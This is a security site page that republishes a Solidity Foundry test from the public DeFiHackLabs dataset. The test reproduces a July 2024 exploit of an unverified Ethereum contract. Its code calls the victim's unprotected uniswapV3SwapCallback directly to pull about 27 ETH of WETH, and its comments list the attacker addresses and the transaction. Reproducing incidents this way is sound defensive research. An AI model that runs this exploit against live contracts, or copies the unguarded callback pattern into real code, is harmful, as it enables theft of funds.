Public reproduction file
src/test/2024-07/UnverifiedContr_0x452E25_exp.sol
Public reproduction file for dataset entry UnverifiedContr_0x452E25.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// This contract is not verified2import "forge-std/Test.sol";3import "./../interface.sol";5// @KeyInfo - Total Lost : ~27 ETH6// TX : https://etherscan.io/tx/0x1194e1d6085885ce054a7ff8cd3cd0c3fa308ec87e4ccde8dd0549842fef4f1b7// Attacker : https://etherscan.io/address/0xabee16e74dd268105f166c27a847edc2b8e7cc4e8// Attack Contract : https://etherscan.io/address/0x27b27842771df79af6a69795f6fca0948c8333c09// GUY : https://x.com/SlowMist_Team/status/180833487065097051411interface IVictime {12 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes memory data) external;13}15contract XXXExploit is Test {16 address victime_ = address(0x452E253EeB3Bb16e40337D647c01b6c910Aa84B3);17 IERC20 weth_ = IERC20(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));19 function setUp() public {20 vm.createSelectFork("mainnet", 20_223_094);21 }23 function testExploit() public {24 bytes memory data = abi.encode(bool(true), address(weth_));25 IVictime(victime_).uniswapV3SwapCallback(27_349_000_000_000_000_000, 27_349_000_000_000_000_000, data);26 emit log_named_decimal_uint("profit = ", weth_.balanceOf(address(this)), 18);27 }29 receive() external payable {}30}Analysis
Dataset entry
Public Foundry test for “UnverifiedContr_0x452E25” (2024-07-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-07/DeFiPlaza_exp.solSame month in the dataset · 319 lines
- src/test/2024-07/DoughFina_exp.solSame month in the dataset · 92 lines
- src/test/2024-07/GAX_exp.solSame month in the dataset · 36 lines
- src/test/2024-07/Lifiprotocol_exp.solSame month in the dataset · 131 lines
- src/test/2024-07/LW_exp.solSame month in the dataset · 64 lines
- src/test/2024-07/MEVbot_0xdd7c_exp.solSame month in the dataset · 128 lines
- src/test/2024-07/Minterest_exp.solSame month in the dataset · 151 lines
- src/test/2024-07/MRP_exp.solSame month in the dataset · 61 lines
- src/test/2024-07/SBT_exp.solSame month in the dataset · 53 lines
- src/test/2024-07/Spectra_finance_exp.solSame month in the dataset · 52 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame protocol or name in the dataset · 96 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame protocol or name in the dataset · 151 lines
- src/test/2023-06/UnverifiedContr_9ad32_exp.solSame protocol or name in the dataset · 41 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xabee16e74dd268105f166c27a847edc2b8e7cc4e
- Attack Contract
0x27b27842771df79af6a69795f6fca0948c8333c0
- Explorer: https://etherscan.io/tx/0x1194e1d6085885ce054a7ff8cd3cd0c3fa308ec87e4ccde8dd0549842fef4f1b
- Explorer: https://etherscan.io/address/0xabee16e74dd268105f166c27a847edc2b8e7cc4e
- Explorer: https://etherscan.io/address/0x27b27842771df79af6a69795f6fca0948c8333c0
- Reference: https://x.com/SlowMist_Team/status/1808334870650970514
File record
- Name
- UnverifiedContr_0x452E25
- Path
- src/test/2024-07/UnverifiedContr_0x452E25_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1e85561f0467f670526271d4604e379339a024d9
- Language
- Solidity
- Size
- 31 lines
- Date
- 2024-07-03
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-07/UnverifiedContr_0x452E25_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1e85561f0467f670526271d4604e379339a024d9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.